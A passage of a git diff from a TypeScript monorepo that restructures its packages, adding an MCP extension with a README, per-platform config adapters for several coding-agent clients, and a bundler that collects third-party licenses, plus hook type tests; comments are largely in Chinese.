平台事件输入保留完整事件对象和开放扩展字段。 */ + const platform: string = input.event.platform; + return { systemMessage: platform }; + }, +}); + +defineHook({ + event: 'SessionEnd', + // @ts-expect-error SessionEnd 是 advisory 事件,不能声明控制流决策。 + run: () => ({ decision: 'stop' }), +}); + +defineHook({ + event: 'PreToolUse', + // @ts-expect-error PreToolUse 只接受 allow 或 deny 规范决策。 + run: () => ({ decision: 'block' }), +}); + +defineHook({ + event: 'Stop', + // @ts-expect-error Stop 不允许返回 PreToolUse 的 updatedInput 字段。 + run: () => ({ updatedInput: { command: 'unsafe' } }), +}); + +defineHook({ + // @ts-expect-error 非规范事件不能作为裸字符串扩入联合类型。 + event: 'Setup', + /** 非法事件用最小实现隔离事件字段本身的类型错误。 */ + run() {}, +}); diff --git a/packages/compiler-codex/tsconfig.json b/packages/extensions/hooks/tsconfig.json similarity index 52% rename from packages/compiler-codex/tsconfig.json rename to packages/extensions/hooks/tsconfig.json index 6ece4d3..3ae4da2 100644 --- a/packages/compiler-codex/tsconfig.json +++ b/packages/extensions/hooks/tsconfig.json @@ -1,4 +1,4 @@ { - "extends": "../../tsconfig.base.json", + "extends": "../../../tsconfig.base.json", "include": ["src/**/*.ts", "test/**/*.ts"] } diff --git a/packages/compiler-codex/tsdown.config.ts b/packages/extensions/hooks/tsdown.config.ts similarity index 50% rename from packages/compiler-codex/tsdown.config.ts rename to packages/extensions/hooks/tsdown.config.ts index b6eb082..4c38328 100644 --- a/packages/compiler-codex/tsdown.config.ts +++ b/packages/extensions/hooks/tsdown.config.ts @@ -1,13 +1,13 @@ import { defineConfig } from 'tsdown'; -import { fileURLToPath } from 'node:url'; -// 私有 Codex Compiler 只构建 Node ESM,由主包内联而不单独发布。 +/** Hooks Extension 骨架保持主包为 Peer Dependency。 */ export default defineConfig({ - entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], + entry: ['./src/index.ts'], format: ['esm'], platform: 'node', target: 'node20', dts: { generator: 'oxc' }, clean: true, sourcemap: false, + deps: { neverBundle: ['@tokenroll/acplugin'] }, }); diff --git a/packages/module-mcp/LICENSE b/packages/extensions/mcp/LICENSE similarity index 100% rename from packages/module-mcp/LICENSE rename to packages/extensions/mcp/LICENSE diff --git a/packages/extensions/mcp/README.md b/packages/extensions/mcp/README.md new file mode 100644 index 0000000..20bfb27 --- /dev/null +++ b/packages/extensions/mcp/README.md @@ -0,0 +1,63 @@ +# @tokenroll/acplugin-extension-mcp + +Optional MCP declarations, local builds, and Platform adapters for `@tokenroll/acplugin`. + +`可选的 MCP 远程声明、本地构建能力,以及面向各 acplugin Platform 的适配实现。` + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-extension-mcp +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import mcp from '@tokenroll/acplugin-extension-mcp'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + extensions: [mcp()], +}); +``` + +Remote Streamable HTTP is declarative; provide only the endpoint and runtime secret references: + +```ts +// src/mcp/docs/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; + +export default defineMcpServer({ + transport: 'http', + url: 'https://example.com/mcp', + auth: { type: 'bearer', env: 'DOCS_TOKEN' }, + headers: { 'X-Tenant': { env: 'TENANT_ID' } }, +}); +``` + +Local stdio is executable content; provide a complete server implementation and reference its entry: + +```ts +// src/mcp/local-tools/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; + +export default defineMcpServer({ + transport: 'stdio', + entry: 'server.ts', + env: { API_TOKEN: { env: 'LOCAL_API_TOKEN' } }, +}); +``` + +The Extension bundles local implementations once as Node 20 ESM and emits deterministic third-party notices when needed. It rejects unresolved runtime dynamic imports and runs the bundle through a bounded `initialize → initialized → tools/list` smoke test using only declared literal environment values. Referenced secret values are never read. Production remote endpoints require HTTPS; development permits loopback HTTP. + +`Extension 会把本地实现统一构建一次 Node 20 ESM,并在需要时生成确定性的第三方许可材料。构建会拒绝无法解析的运行时动态导入,并仅使用声明的公开字面量环境值执行带超时和输出上限的 initialize → initialized → tools/list smoke;环境变量 Secret 引用值不会被读取。` + +| Transport | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| Remote HTTP | Native | Native | Native | Native | Native | Unsupported | +| Local stdio | Native | Native | Unsupported | Unsupported | Native | Unsupported | + +Unsupported transports are reported and never replaced with fabricated client behavior. Contracts were last rechecked on 2026-08-06 against [Claude Code MCP](https://code.claude.com/docs/en/mcp), [Codex MCP](https://learn.chatgpt.com/docs/extend/mcp), [Cursor MCP](https://cursor.com/docs/context/mcp), [Antigravity Plugins](https://antigravity.google/docs/plugins?app=cli), [OpenCode MCP](https://opencode.ai/docs/mcp-servers/), and [Pi Packages](https://pi.dev/docs/latest/packages). + +## License + +MIT diff --git a/packages/module-mcp/package.json b/packages/extensions/mcp/package.json similarity index 72% rename from packages/module-mcp/package.json rename to packages/extensions/mcp/package.json index 43b6db8..2c24ce1 100644 --- a/packages/module-mcp/package.json +++ b/packages/extensions/mcp/package.json @@ -1,11 +1,11 @@ { - "name": "@tokenroll/acplugin-module-mcp", + "name": "@tokenroll/acplugin-extension-mcp", "version": "1.0.0", - "description": "Portable MCP declarations and local servers for acplugin.", + "description": "Portable MCP authoring and platform adapters for acplugin.", "type": "module", "license": "MIT", - "homepage": "https://github.com/TokenRollAI/acplugin#mcp-module", - "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/module-mcp" }, + "homepage": "https://github.com/TokenRollAI/acplugin#mcp-extension", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/extensions/mcp" }, "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, "sideEffects": false, "engines": { "node": ">=20" }, @@ -23,7 +23,7 @@ "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", "tsdown": "catalog:", - "typescript": "catalog:", + "@typescript/native": "catalog:", "vitest": "catalog:" } } diff --git a/packages/extensions/mcp/src/adapters.ts b/packages/extensions/mcp/src/adapters.ts new file mode 100644 index 0000000..c35c9fb --- /dev/null +++ b/packages/extensions/mcp/src/adapters.ts @@ -0,0 +1,531 @@ +import { + bytesArtifact, + stableJson, + type ExtensionPlatformAdapter, + type JsonValue, + type PlatformAdapterContext, + type PlatformId, +} from '@tokenroll/acplugin'; +import type { BuiltMcpServer, BuiltMcpServers } from './bundler.js'; +import { + ANTIGRAVITY_PLATFORM_ID, + CLAUDE_CODE_PLATFORM_ID, + CODEX_PLATFORM_ID, + CURSOR_PLATFORM_ID, + MCP_MANIFEST_PATH, + OPENCODE_PLATFORM_ID, + PI_PLATFORM_ID, + PLUGIN_MANIFEST_ID, +} from './constants.js'; +import type { ValueSource } from './types.js'; + +/** 拆分后可分别映射到平台字面量和环境引用字段的值。 */ +interface MappedValues { + /** 可以直接写入目标清单的非敏感字面量。 */ + readonly literal: Readonly>; + /** 只写变量名称、由安装运行时读取真实值的引用。 */ + readonly environment: Readonly>; +} + +/** + * 将 ValueSource 映射拆分为字面量和环境变量引用。 + * + * @param values Header 或进程环境配置。 + * @returns 按名称稳定插入的 literal 与 environment 映射。 + */ +function mapValues(values: Readonly> | undefined): MappedValues { + /** 可以直接写入目标清单的非敏感字面量。 */ + const literal: Record = {}; + /** 只写变量名称、由安装运行时读取真实值的引用。 */ + const environment: Record = {}; + /** [name, source] 表示当前已验证的 ValueSource 映射。 */ + for (const [name, source] of Object.entries(values ?? {}).sort(([left], [right]) => left.localeCompare(right, 'en'))) { + if ('value' in source) + literal[name] = source.value; + else + environment[name] = source.env; + } + return Object.freeze({ literal: Object.freeze(literal), environment: Object.freeze(environment) }); +} + +/** + * 把规范 MCP 定义转换为 Claude Code `.mcp.json` Server 描述。 + * + * @param server 已验证并可能完成本地构建的 MCP Server。 + * @returns Claude Code 使用的 stdio 或 HTTP 配置。 + */ +function claudeDescriptor(server: BuiltMcpServer): Readonly> { + /** 当前 Server 的可判别联合定义。 */ + const definition = server.definition; + if (definition.transport === 'stdio') { + /** 拆分后的进程环境字面量与宿主变量引用。 */ + const values = mapValues(definition.env); + /** 运行时环境变量使用 Claude Code 支持的 `${NAME}` 插值。 */ + const environment = Object.fromEntries( + Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`]), + ); + return Object.freeze({ + type: 'stdio', + command: 'node', + args: Object.freeze([`\${CLAUDE_PLUGIN_ROOT}/mcp/${server.id}/server.mjs`]), + ...(Object.keys(values.literal).length === 0 && Object.keys(environment).length === 0 + ? {} + : { env: Object.freeze({ ...values.literal, ...environment }) }), + }); + } + /** 拆分后的 HTTP Header 字面量与宿主变量引用。 */ + const values = mapValues(definition.headers); + /** 最终写入 Claude `.mcp.json` 的 Header。 */ + const headers: Record = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `\${${env}}`])), + }; + if (definition.auth?.type === 'bearer') + headers.Authorization = `Bearer \${${definition.auth.env}}`; + return Object.freeze({ + type: 'http', + url: definition.url, + ...(Object.keys(headers).length === 0 ? {} : { headers: Object.freeze(headers) }), + ...(definition.auth?.type === 'oauth' && definition.auth.scopes !== undefined + ? { oauth: Object.freeze({ scopes: definition.auth.scopes.join(' ') }) } + : {}), + }); +} + +/** + * 把规范 MCP 定义转换为 Codex Plugin MCP Server 描述。 + * + * @param server 已验证并可能完成本地构建的 MCP Server。 + * @returns Codex 使用的 stdio 或 HTTP 配置。 + */ +function codexDescriptor(server: BuiltMcpServer): Readonly> { + /** 当前 Server 的可判别联合定义。 */ + const definition = server.definition; + if (definition.transport === 'stdio') { + /** 拆分后的进程环境字面量与宿主变量引用。 */ + const values = mapValues(definition.env); + return Object.freeze({ + command: 'node', + args: Object.freeze([`./mcp/${server.id}/server.mjs`]), + cwd: '.', + ...(Object.keys(values.literal).length === 0 ? {} : { env: values.literal }), + ...(Object.keys(values.environment).length === 0 + ? {} + : { env_vars: Object.freeze([...new Set(Object.values(values.environment))].sort()) }), + }); + } + /** 拆分后的 HTTP Header 字面量与宿主变量引用。 */ + const values = mapValues(definition.headers); + return Object.freeze({ + url: definition.url, + ...(definition.auth?.type === 'bearer' ? { bearer_token_env_var: definition.auth.env } : {}), + ...(definition.auth?.type === 'oauth' && definition.auth.scopes !== undefined + ? { scopes: Object.freeze([...definition.auth.scopes]) } + : {}), + ...(Object.keys(values.literal).length === 0 ? {} : { http_headers: values.literal }), + ...(Object.keys(values.environment).length === 0 ? {} : { env_http_headers: values.environment }), + }); +} + +/** + * 报告一个 MCP Server 在默认平台上的实际传输和认证能力。 + * + * @param context 当前 Platform Adapter 上下文。 + * @param server 正在适配的 MCP Server。 + */ +function reportCompatibility(context: PlatformAdapterContext, server: BuiltMcpServer): void { + context.reportCompatibility({ + subject: `mcp:${server.id}`, + capability: `transport.${server.definition.transport}`, + level: 'native', + reason: `${context.platform.id} supports ${server.definition.transport} MCP Servers.`, + }); + if (server.definition.transport === 'http' && server.definition.auth !== undefined) { + context.reportCompatibility({ + subject: `mcp:${server.id}`, + capability: `auth.${server.definition.auth.type}`, + level: 'native', + reason: `${context.platform.id} can express the selected MCP authentication reference.`, + }); + } +} + +/** + * 向当前默认 Plugin Draft 贡献 Server Bundle、许可、MCP 清单和 Manifest 引用。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built Extension build 阶段产生的平台中立状态。 + * @param platform 当前官方 Adapter 的 Platform ID。 + */ +async function applyDefaultAdapter( + context: PlatformAdapterContext, + built: Readonly, + platform: typeof CLAUDE_CODE_PLATFORM_ID | typeof CODEX_PLATFORM_ID, +): Promise { + if (built.servers.length === 0) + return; + /** Platform 必须提供约定的 Plugin Manifest Document 才能安全建立引用。 */ + if (context.getDocument(PLUGIN_MANIFEST_ID) === undefined) { + context.reportDiagnostic({ + code: 'MCP_PLATFORM_DOCUMENT_MISSING', severity: 'error', + message: `Platform "${platform}" does not expose the required Plugin Manifest document.`, + }); + return; + } + for (const server of built.servers) { + if (server.definition.transport === 'stdio') { + if (server.bundle === undefined) { + context.reportDiagnostic({ + code: 'MCP_BUNDLE_MISSING', severity: 'error', message: `MCP Server "${server.id}" has no local bundle.`, + }); + continue; + } + context.emitArtifact({ + path: `mcp/${server.id}/server.mjs`, + source: { type: 'file', path: server.bundle.server }, + mode: 0o755, + }); + if (server.bundle.licenses !== undefined) { + context.emitArtifact({ + path: `mcp/${server.id}/THIRD_PARTY_LICENSES.txt`, + source: { type: 'file', path: server.bundle.licenses }, + mode: 0o644, + }); + } + } + reportCompatibility(context, server); + } + /** 平台协议决定顶层是否使用 mcpServers 包裹。 */ + const descriptors = Object.fromEntries(built.servers.map(server => [ + server.id, + platform === CLAUDE_CODE_PLATFORM_ID ? claudeDescriptor(server) : codexDescriptor(server), + ])); + /** Claude Code 使用 wrapped 形式,Codex Plugin 使用 direct server map。 */ + const manifest = platform === CLAUDE_CODE_PLATFORM_ID ? { mcpServers: descriptors } : descriptors; + context.emitArtifact(bytesArtifact(MCP_MANIFEST_PATH, stableJson(manifest))); + context.patchDocument({ + document: PLUGIN_MANIFEST_ID, + path: ['mcpServers'], + value: `./${MCP_MANIFEST_PATH}`, + }); +} + +/** + * 把 HTTP MCP Header 映射为运行时环境插值字符串。 + * + * @param server 已验证的远程 MCP Server。 + * @param environmentReference 根据 Platform 生成环境变量引用的函数。 + * @returns 合并公开字面量、环境引用和可选 Bearer Header 的稳定对象。 + */ +function remoteHeaders( + server: BuiltMcpServer, + environmentReference: (name: string) => string, +): Readonly> { + if (server.definition.transport !== 'http') + return Object.freeze({}); + /** 拆分后的 Header 字面量和环境变量名称。 */ + const values = mapValues(server.definition.headers); + /** 最终平台配置只包含公开值或环境变量引用。 */ + const headers: Record = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, environmentReference(env)])), + }; + if (server.definition.auth?.type === 'bearer') + headers.Authorization = `Bearer ${environmentReference(server.definition.auth.env)}`; + return Object.freeze(headers); +} + +/** + * 报告 remote-only Platform 对一个 MCP Server 的精确能力结论。 + * + * @param context 当前 Platform Adapter 上下文。 + * @param server 正在适配的 MCP Server。 + */ +function reportRemoteOnlyCompatibility(context: PlatformAdapterContext, server: BuiltMcpServer): void { + if (server.definition.transport === 'stdio') { + context.reportCompatibility({ + subject: `mcp:${server.id}`, + capability: 'transport.stdio', + level: 'unsupported', + reason: `${context.platform.id} has no verified portable Plugin-root contract for bundled stdio MCP Servers.`, + }); + return; + } + context.reportCompatibility({ + subject: `mcp:${server.id}`, + capability: 'transport.http', + level: 'native', + reason: `${context.platform.id} supports remote HTTP MCP Servers.`, + }); + if (server.definition.auth?.type === 'oauth' && (server.definition.auth.scopes?.length ?? 0) > 0) { + context.reportCompatibility({ + subject: `mcp:${server.id}`, + capability: 'auth.oauth.scopes', + level: 'degraded', + transformation: 'The platform performs OAuth discovery without requested scope hints.', + reason: `${context.platform.id} Plugin MCP configuration has no verified OAuth scopes field.`, + }); + } else if (server.definition.auth !== undefined) { + context.reportCompatibility({ + subject: `mcp:${server.id}`, + capability: `auth.${server.definition.auth.type}`, + level: 'native', + reason: `${context.platform.id} can express the selected authentication reference.`, + }); + } +} + +/** + * 创建 Cursor remote MCP Server 描述。 + * + * @param server 已验证的远程 Server。 + * @returns Cursor mcp.json 中的单个 Server 配置。 + */ +function cursorDescriptor(server: BuiltMcpServer): Readonly> { + if (server.definition.transport !== 'http') + throw new TypeError('Cursor MCP Adapter accepts only remote HTTP Servers.'); + /** Cursor 在 JSON 配置中使用 `${env:NAME}` 延迟读取宿主环境。 */ + const headers = remoteHeaders(server, name => `\${env:${name}}`); + return Object.freeze({ + url: server.definition.url, + ...(Object.keys(headers).length === 0 ? {} : { headers }), + }); +} + +/** + * 创建 Antigravity remote MCP Server 描述。 + * + * @param server 已验证的远程 Server。 + * @returns mcp_config.json 中的单个 Server 配置。 + */ +function antigravityDescriptor(server: BuiltMcpServer): Readonly> { + if (server.definition.transport !== 'http') + throw new TypeError('Antigravity MCP Adapter accepts only remote HTTP Servers.'); + /** Antigravity 的 MCP 配置沿用 `${NAME}` 运行时环境插值。 */ + const headers = remoteHeaders(server, name => `\${${name}}`); + return Object.freeze({ + type: 'http', + url: server.definition.url, + ...(Object.keys(headers).length === 0 ? {} : { headers }), + }); +} + +/** + * 应用 Cursor remote-only MCP Adapter。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built MCP Extension 的平台中立 Built State。 + */ +async function applyCursorAdapter( + context: PlatformAdapterContext, + built: Readonly, +): Promise { + for (const server of built.servers) + reportRemoteOnlyCompatibility(context, server); + /** Cursor 首期只生成可移植 remote HTTP 配置。 */ + const remote = built.servers.filter(server => server.definition.transport === 'http'); + if (remote.length === 0) + return; + if (context.getDocument(PLUGIN_MANIFEST_ID) === undefined) { + context.reportDiagnostic({ + code: 'MCP_PLATFORM_DOCUMENT_MISSING', severity: 'error', + message: 'Cursor Platform does not expose the required Plugin Manifest document.', + }); + return; + } + /** Cursor 使用与生态 mcp.json 一致的 wrapped server map。 */ + const mcpServers = Object.fromEntries(remote.map(server => [server.id, cursorDescriptor(server)])); + context.emitArtifact(bytesArtifact('mcp.json', stableJson({ mcpServers }))); + context.patchDocument({ document: PLUGIN_MANIFEST_ID, path: ['mcpServers'], value: './mcp.json' }); +} + +/** + * 应用 Antigravity remote-only MCP Adapter。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built MCP Extension 的平台中立 Built State。 + */ +async function applyAntigravityAdapter( + context: PlatformAdapterContext, + built: Readonly, +): Promise { + for (const server of built.servers) + reportRemoteOnlyCompatibility(context, server); + /** Antigravity 首期只生成可移植 remote HTTP 配置。 */ + const remote = built.servers.filter(server => server.definition.transport === 'http'); + if (remote.length === 0) + return; + /** 官方 Plugin 根结构使用 mcp_config.json,不需要 Manifest 引用。 */ + const mcpServers = Object.fromEntries(remote.map(server => [server.id, antigravityDescriptor(server)])); + context.emitArtifact(bytesArtifact('mcp_config.json', stableJson({ mcpServers }))); +} + +/** + * 创建 OpenCode remote/local MCP Server 描述。 + * + * @param server 已验证并可能带本地 Bundle 的 Server。 + * @returns opencode.json.mcp 中的单个配置。 + */ +function openCodeDescriptor(server: BuiltMcpServer): Readonly> { + /** 当前 Server 的可判别联合定义。 */ + const definition = server.definition; + if (definition.transport === 'stdio') { + /** 拆分后的进程环境字面量与运行时引用。 */ + const values = mapValues(definition.env); + /** OpenCode 配置使用 `{env:NAME}` 延迟读取宿主环境。 */ + const environment = { + ...values.literal, + ...Object.fromEntries(Object.entries(values.environment).map(([name, env]) => [name, `{env:${env}}`])), + }; + return Object.freeze({ + type: 'local', + command: Object.freeze(['node', `./.opencode/mcp/${server.id}/server.mjs`]), + ...(Object.keys(environment).length === 0 ? {} : { environment: Object.freeze(environment) }), + enabled: true, + }); + } + /** 远程 Header 只含公开值和 OpenCode 环境引用。 */ + const headers = remoteHeaders(server, name => `{env:${name}}`); + return Object.freeze({ + type: 'remote', + url: definition.url, + ...(Object.keys(headers).length === 0 ? {} : { headers }), + ...(definition.auth?.type === 'oauth' && definition.auth.scopes !== undefined + ? { oauth: Object.freeze({ scopes: Object.freeze([...definition.auth.scopes]) }) } + : {}), + enabled: true, + }); +} + +/** + * 应用 OpenCode remote/local MCP Adapter。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built MCP Extension 的平台中立 Built State。 + */ +async function applyOpenCodeAdapter( + context: PlatformAdapterContext, + built: Readonly, +): Promise { + if (built.servers.length === 0) + return; + if (context.getDocument('workspace-config') === undefined) { + context.reportDiagnostic({ + code: 'MCP_PLATFORM_DOCUMENT_MISSING', severity: 'error', + message: 'OpenCode Platform does not expose the required workspace config document.', + }); + return; + } + for (const server of built.servers) { + if (server.definition.transport === 'stdio') { + if (server.bundle === undefined) { + context.reportDiagnostic({ + code: 'MCP_BUNDLE_MISSING', severity: 'error', message: `MCP Server "${server.id}" has no local bundle.`, + }); + continue; + } + context.emitArtifact({ + path: `.opencode/mcp/${server.id}/server.mjs`, + source: { type: 'file', path: server.bundle.server }, + mode: 0o755, + }); + if (server.bundle.licenses !== undefined) { + context.emitArtifact({ + path: `.opencode/mcp/${server.id}/THIRD_PARTY_LICENSES.txt`, + source: { type: 'file', path: server.bundle.licenses }, + mode: 0o644, + }); + } + } + reportCompatibility(context, server); + } + /** OpenCode Platform Document 拥有最终 opencode.json 序列化。 */ + const descriptors = Object.fromEntries(built.servers.map(server => [server.id, openCodeDescriptor(server)])); + context.patchDocument({ document: 'workspace-config', path: ['mcp'], value: descriptors }); +} + +/** + * 应用明确不支持 MCP 的 Pi Adapter。 + * + * @param context Core 提供的兼容性报告出口。 + * @param built MCP Extension 的平台中立 Built State。 + */ +async function applyPiAdapter( + context: PlatformAdapterContext, + built: Readonly, +): Promise { + /** server 表示当前资源,用于逐项报告且绝不生成伪配置。 */ + for (const server of built.servers) { + context.reportCompatibility({ + subject: `mcp:${server.id}`, + capability: `transport.${server.definition.transport}`, + level: 'unsupported', + reason: 'Pi has no first-class MCP package configuration and acplugin does not add an implicit client Extension.', + }); + } +} + +/** + * 创建 MCP Extension 内置的六个平台 Adapter。 + * + * @returns 只通过 Core 受限 API 写入平台 Draft 的固定 Adapter 列表。 + */ +export function createMcpAdapters(): readonly ExtensionPlatformAdapter[] { + /** Claude Code 官方 Adapter。 */ + const claudeCode: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: CLAUDE_CODE_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 把平台中立状态落为 Claude Code wrapped MCP 配置。 */ + apply: (context: PlatformAdapterContext, built: Readonly) => applyDefaultAdapter( + context, + built, + CLAUDE_CODE_PLATFORM_ID, + ), + }); + /** Codex 官方 Adapter。 */ + const codex: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: CODEX_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 把平台中立状态落为 Codex direct MCP 配置。 */ + apply: (context: PlatformAdapterContext, built: Readonly) => applyDefaultAdapter( + context, + built, + CODEX_PLATFORM_ID, + ), + }); + /** Cursor 官方 Adapter。 */ + const cursor: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: CURSOR_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 只生成 remote HTTP mcp.json;stdio 精确报告 unsupported。 */ + apply: applyCursorAdapter, + }); + /** Antigravity 官方 Adapter。 */ + const antigravity: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: ANTIGRAVITY_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 只生成 remote HTTP mcp_config.json;stdio 精确报告 unsupported。 */ + apply: applyAntigravityAdapter, + }); + /** OpenCode 官方 Adapter。 */ + const openCode: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: OPENCODE_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 生成 workspace mcp 配置和可移植 local Server Bundle。 */ + apply: applyOpenCodeAdapter, + }); + /** Pi 明确 unsupported Adapter。 */ + const pi: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: PI_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 只报告无一等 MCP 能力,不生成 Artifact。 */ + apply: applyPiAdapter, + }); + return Object.freeze([claudeCode, codex, cursor, antigravity, openCode, pi]); +} diff --git a/packages/extensions/mcp/src/bundler.ts b/packages/extensions/mcp/src/bundler.ts new file mode 100644 index 0000000..bb88ea1 --- /dev/null +++ b/packages/extensions/mcp/src/bundler.ts @@ -0,0 +1,458 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { build as rolldownBuild, type OutputChunk } from 'rolldown'; +import { parseAst } from 'rolldown/parseAst'; +import type { ExtensionBuildContext } from '@tokenroll/acplugin'; +import type { DiscoveredMcpServer, DiscoveredMcpServers } from './discovery.js'; + +/** 单个 stdio MCP Server 的独立可执行文件与许可文件。 */ +export interface BundledMcpServer { + /** Rolldown 生成的单文件 Node 20 ESM Server 路径。 */ + readonly server: string; + /** Bundle 包含第三方依赖时生成的合并许可文件。 */ + readonly licenses?: string; +} + +/** Adapter 读取的一个已验证 MCP Server 与可选本地 Bundle。 */ +export interface BuiltMcpServer { + /** 规范 Server ID。 */ + readonly id: string; + /** 已通过验证的作者定义。 */ + readonly definition: DiscoveredMcpServer['definition']; + /** stdio Server 的平台中立 Bundle;HTTP Server 不包含此字段。 */ + readonly bundle?: BundledMcpServer; +} + +/** build 阶段交给所有 Platform Adapter 的平台中立状态。 */ +export interface BuiltMcpServers { + /** 按 Server ID 稳定排序且每个 stdio 实现只 Bundle 一次的列表。 */ + readonly servers: readonly BuiltMcpServer[]; +} + +/** Bundle 中一个第三方 npm 包的许可元数据与原始法律文本。 */ +interface PackageLicense { + /** npm 包名。 */ + readonly name: string; + /** npm 包版本。 */ + readonly version: string; + /** package.json 声明的 SPDX 表达式或 UNKNOWN。 */ + readonly license: string; + /** 包根目录中发现的 LICENSE 或 NOTICE 文件。 */ + readonly notices: readonly { readonly name: string; readonly text: string }[]; +} + +/** 构建期 stdio 协议探测对外只暴露的脱敏失败类别。 */ +type McpSmokeFailure = 'output-limit' | 'process-exit' | 'protocol' | 'spawn' | 'timeout'; + +/** MCP smoke 允许 Server 写入 stdout/stderr 的合计字节上限。 */ +const MCP_SMOKE_OUTPUT_LIMIT = 256 * 1024; + +/** MCP smoke 等待 initialize 与 tools/list 的总时限。 */ +const MCP_SMOKE_TIMEOUT_MS = 5_000; + +/** + * 从 Rolldown Module ID 向上查找所属 npm 包及其许可文件。 + * + * @param moduleId Bundle 图中的原始 Module ID。 + * @returns 第三方 node_modules 文件对应的许可记录;工程源码返回 undefined。 + */ +async function packageLicenseForModule(moduleId: string): Promise { + /** 移除 Rolldown 查询参数和虚拟模块前缀后的文件路径。 */ + const normalized = moduleId.replace(/\?.*$/u, '').replace(/^\0/u, ''); + if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) + return undefined; + /** 从模块文件开始向上查找 package.json 的当前目录。 */ + let directory = path.dirname(normalized); + /** 终止向上遍历的文件系统根目录。 */ + const root = path.parse(directory).root; + while (directory !== root) { + try { + /** 当前候选目录中的包清单。 */ + const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { + readonly name?: unknown; + readonly version?: unknown; + readonly license?: unknown; + }; + if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { + /** 包根目录的一级文件,用于发现法律文本。 */ + const entries = await fs.readdir(directory, { withFileTypes: true }); + /** 按稳定顺序保留的 LICENSE 与 NOTICE 文件名。 */ + const noticeFiles = entries + .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/iu.test(entry.name)) + .map(entry => entry.name) + .sort((left, right) => left.localeCompare(right, 'en')); + if (noticeFiles.length === 0) + throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); + return { + name: manifest.name, + version: manifest.version, + license: typeof manifest.license === 'string' ? manifest.license : 'UNKNOWN', + notices: await Promise.all(noticeFiles.map(async (name) => { + /** 当前第三方法律文件的完整文本。 */ + const text = (await fs.readFile(path.join(directory, name), 'utf8')).trimEnd(); + return Object.freeze({ name, text }); + })), + }; + } + } catch /** error 保存当前许可元数据读取失败,供 ENOENT 分支判断。 */ (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') + throw error; + } + directory = path.dirname(directory); + } + throw new Error(`Cannot resolve package metadata for bundled module ${path.basename(normalized)}.`); +} + +/** + * 汇总 Bundle 实际包含的第三方包许可,并写入稳定文本文件。 + * + * @param chunk 唯一的 Rolldown 输出 Chunk。 + * @param directory Server Bundle 所在目录。 + * @returns 存在第三方依赖时返回许可文件路径,否则返回 undefined。 + */ +async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): Promise { + /** 按包名和版本去重的许可记录。 */ + const records = new Map(); + /** moduleId 表示当前 Bundle Module,用于追溯第三方许可。 */ + for (const moduleId of Object.keys(chunk.modules).sort((left, right) => left.localeCompare(right, 'en'))) { + /** 当前 Bundle Module 所属的可选第三方包许可。 */ + const record = await packageLicenseForModule(moduleId); + if (record !== undefined) + records.set(`${record.name}@${record.version}`, record); + } + if (records.size === 0) + return undefined; + /** 按确定顺序拼接的许可文件段落。 */ + const sections = ['THIRD-PARTY LICENSES']; + /** [id, record] 表示当前许可记录,用于输出稳定法律文本。 */ + for (const [id, record] of [...records].sort(([left], [right]) => left.localeCompare(right, 'en'))) { + sections.push(`## ${id}\nSPDX: ${record.license}`); + /** notice 表示当前包的一个 LICENSE 或 NOTICE 文件。 */ + for (const notice of record.notices) + sections.push(`### ${notice.name}\n${notice.text}`); + } + /** 与 Server 一同发布的第三方许可文件路径。 */ + const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); + await fs.writeFile(destination, `${sections.join('\n\n')}\n`); + return destination; +} + +/** + * 判断 Bundle 模块图是否包含 Node 原生扩展。 + * + * @param moduleId Rolldown 输出记录的 Module ID。 + * @returns 文件扩展名是 `.node` 时返回 true。 + */ +function isNativeAddon(moduleId: string): boolean { + /** 去掉查询参数后的真实模块路径。 */ + const normalized = moduleId.replace(/\?.*$/u, ''); + return path.extname(normalized) === '.node'; +} + +/** + * 判断最终 Bundle 是否仍包含无法在构建期解析的动态 import 表达式。 + * + * 字面量动态导入会被 Rolldown 内联,或作为允许的 `node:` external 保留;运行时表达式 + * 无法证明其代码和文件已经进入交付单元,因此必须拒绝。 + * + * @param code Rolldown 生成的单 Chunk JavaScript。 + * @returns 存在非字符串字面量 ImportExpression 时返回 true。 + */ +function 